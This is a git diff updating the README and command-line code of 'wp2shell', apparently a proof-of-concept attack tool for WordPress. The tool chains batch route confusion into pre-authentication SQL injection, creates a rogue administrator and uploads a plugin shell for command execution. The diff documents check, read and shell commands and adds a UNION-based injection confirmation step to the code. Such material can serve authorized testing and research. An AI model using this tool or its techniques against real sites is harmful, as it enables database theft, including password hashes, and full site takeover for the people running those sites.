diff --git a/README.md b/README.md
index 253be07..56a8682 100644
--- a/README.md
+++ b/README.md
@@ -43,7 +43,7 @@ The PoC nests the primitive twice:
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
-also includes the stronger UNION fake-post primitive used by the SQLi-to-admin chain.
+also includes the UNION fake-post primitive used by the SQLi-to-admin chain.
The RCE path implemented here is:
@@ -53,10 +53,10 @@ The RCE path implemented here is:
4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and
request hook shape.
5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator.
-6. Log in as that generated administrator and use normal plugin upload behavior to run a command.
+6. Log in as that generated administrator and use plugin upload behavior to run a command.
-The last command-execution step is ordinary authenticated administrator plugin upload. The
-pre-authentication part is the admin creation bridge.
+The command-execution step is authenticated administrator plugin upload. The pre-authentication
+part is the admin creation bridge.
## Requirements
@@ -72,7 +72,7 @@ Run it from the repository directory:
Or `pip install .` to get a `wp2shell` command on your `PATH`.
-### check — confirm the vulnerability (safe)
+### check — non-destructive vulnerability check
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern
@@ -86,20 +86,20 @@ the parse error shifts the batch handler arrays out of step, so the spacer reque
under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three
pattern should not appear for the crafted probe.
-By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when
-you also want the active paired timing confirmation. The timing step reads no data and changes
-nothing; it sends three baseline/delayed pairs by default and decides on the median delta.
+By default, `check` stops there and does not send an SQLi payload. Use `--confirm-sqli` when you
+also want an active SQLi confirmation. The confirmation tries the UNION read primitive first and
+falls back to paired timing probes if UNION reflection is unavailable.
-Treat the signals separately: an affected public version is strong triage evidence, the batch
-marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the
-SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing
-check does not override a positive marker probe.
+Treat the signals separately: a public version hint is only a hint, the batch marker pattern checks
+for the route-confusion behavior, and `--confirm-sqli` checks whether an SQL payload reached the
+database. A WAF or edge rule can block the active SQLi payload, so a failed SQLi confirmation does
+not necessarily mean the route-confusion bug is absent.
```
./wp2shell.py check http://target
```
-### read — extract data (blind SQL injection)
+### read — extract data through SQL injection
```
./wp2shell.py read http://target # server fingerprint
@@ -107,9 +107,9 @@ check does not override a positive marker probe.
./wp2shell.py read http://target --query "SELECT @@version"
```
-By default extraction is `--technique auto`, which picks the fastest in-band method that works:
+By default extraction is `--technique auto`, which tries the available methods in this order:
-1. **union** — forges a fake `WP_Post` row and reads its reflected title: **one request per value**.
+1. **union** — forges a fake `WP_Post` row and reads its reflected title.
The source request targets the single-post item route (`/wp/v2/posts/999999`), so the
collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the
inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the
@@ -120,17 +120,13 @@ By default extraction is `--technique auto`, which picks the fastest in-band met
MySQL errors (e.g. `WP_DEBUG_DISPLAY` on).
3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection.
-Force one with `--technique union|error|blind`. All three are strictly **read only**. The union
-path also demonstrates fake-`WP_Post` object-cache poisoning: the forged row is added to the `posts`
-cache for the rest of the request, and its `post_content` blocks render through REST (which enables
-unauthenticated SSRF via RSS/oEmbed blocks). A full password hash is ~2 requests with `union`, ~7
-with `error`, versus ~490 blind.
+Force one with `--technique union|error|blind`. These read paths do not write database rows. The
+union path adds the forged row to the `posts` cache for the rest of the request.
### shell — command execution
With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses
-normal WordPress plugin upload behavior. This mode would work the same way on a patched site where
-those credentials are valid.
+WordPress plugin upload behavior.
Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated
administrator, then uploads the plugin shell.
@@ -153,9 +149,9 @@ administrator, that generated account is removed automatically after the shell s
| `--rest-route` | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
| `--timeout N` | all | Request timeout in seconds. |
-| `--sleep N` | check | Delay used with `--confirm-sqli`. |
-| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). |
-| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. |
+| `--sleep N` | check | Delay used by the timing fallback for `--confirm-sqli`. |
+| `--samples N` | check | Timing pairs used by the timing fallback for `--confirm-sqli`. |
+| `--confirm-sqli` | check | Also send an active SQLi confirmation payload. |
| `--preset` | read | `fingerprint` or `users`. |
| `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. |
| `--query` | read | A scalar SQL expression to read. |
@@ -181,3 +177,4 @@ written permission to test. No warranty is provided and no liability is accepted
- WordPress 7.0.2 release announcement —
- Searchlight Cyber wp2shell advisory —
+- sergiointel/wp2shell-poc SQLi-to-admin bridge —
diff --git a/wp2shell/cli.py b/wp2shell/cli.py
index 185eb67..af5f93e 100644
--- a/wp2shell/cli.py
+++ b/wp2shell/cli.py
@@ -87,10 +87,11 @@ def _print_version_hints(client: BatchClient) -> tuple:
info("Public WordPress version hints:")
for hint in hints:
- print(
+ line = (
f" - {hint.version} via {hint.source} "
f"({version_status(hint.version)}) - {_short(hint.detail)}"
)
+ print(_paint("33", line) if hint.affected else _paint("32", line))
if any(hint.affected for hint in hints):
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
return hints
@@ -124,7 +125,7 @@ def cmd_check(args: argparse.Namespace) -> int:
if route_confusion:
good("VULNERABLE — batch route-confusion behavior detected.")
if not args.confirm_sqli:
- info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.")
+ info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.")
return 0
elif not args.confirm_sqli:
bad("Route-confusion marker pattern not detected.")
@@ -132,6 +133,12 @@ def cmd_check(args: argparse.Namespace) -> int:
warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
return 2
+ union = UnionSQLi(client)
+ if union.available():
+ good("SQLi confirmed — UNION fake-post read returned data.")
+ return 0
+ info("UNION SQLi confirmation unavailable; falling back to timing confirmation.")
+
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
if args.samples > 1:
details = ", ".join(
@@ -372,18 +379,18 @@ def build_parser() -> argparse.ArgumentParser:
"--sleep",
type=float,
default=3.0,
- help="SQL timing delay used with --confirm-sqli (default: 3)",
+ help="SQL timing delay used by the --confirm-sqli fallback (default: 3)",
)
check.add_argument(
"--samples",
type=int,
default=3,
- help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)",
+ help="baseline/delayed SQL timing pairs used by the --confirm-sqli fallback (default: 3)",
)
check.add_argument(
"--confirm-sqli",
action="store_true",
- help="also send the active SQL timing confirmation payload",
+ help="also send an active SQLi confirmation payload",
)
check.set_defaults(func=cmd_check)